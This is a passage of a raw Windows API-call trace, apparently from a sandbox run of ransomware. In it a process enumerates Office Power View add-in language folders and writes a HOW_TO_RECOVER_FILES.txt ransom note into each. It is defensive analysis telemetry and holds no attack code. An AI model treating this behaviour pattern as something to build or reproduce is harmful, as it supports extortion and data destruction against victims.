ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.606] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x44a38de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x44a38de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0222.606] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37acc11, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0222.606] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0222.606] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x91adba5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91d3da7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0222.606] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133f40a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x502f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.de.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0222.606] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.607] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0222.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0222.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0222.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0222.607] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de", lpFilePart=0x0) returned 0x51 [0222.607] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0222.608] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.608] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x44a38de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x44a38de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0222.609] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37acc11, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0222.609] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0222.609] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x91adba5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91d3da7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0222.609] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133f40a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x502f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.de.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0222.609] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133f40a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x502f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.de.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0222.609] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0222.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0222.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0222.610] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0222.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0222.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\de\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0222.612] GetFileType (hFile=0x82c) returned 0x1 [0222.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0222.612] GetFileType (hFile=0x82c) returned 0x1 [0222.612] WriteFile (in: hFile=0x82c, lpBuffer=0x361b3c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x361b3c0*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0222.613] CloseHandle (hObject=0x82c) returned 1 [0222.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0222.613] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el", lpFilePart=0x0) returned 0x51 [0222.613] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0222.614] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.615] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf46b8986, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0222.615] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0222.615] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0222.615] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0222.615] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15365236, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x53c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.el.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0222.615] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.615] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0222.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0222.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0222.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0222.616] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el", lpFilePart=0x0) returned 0x51 [0222.616] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0222.617] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.617] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf46b8986, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0222.617] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0222.617] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0222.618] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0222.618] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15365236, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x53c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.el.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0222.618] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15365236, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x53c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.el.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0222.618] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0222.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0222.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.230] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0223.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0223.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\el\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0223.231] GetFileType (hFile=0x82c) returned 0x1 [0223.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0223.231] GetFileType (hFile=0x82c) returned 0x1 [0223.232] WriteFile (in: hFile=0x82c, lpBuffer=0x35670a0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x35670a0*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0223.233] CloseHandle (hObject=0x82c) returned 1 [0223.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.233] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es", lpFilePart=0x0) returned 0x51 [0223.233] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0223.235] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.235] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf75a8fbb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf75a8fbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x153fdb85, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.235] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x38b7c4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x38b7c4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x38b7c4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.235] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb654e78, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb654e78, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb654e78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, 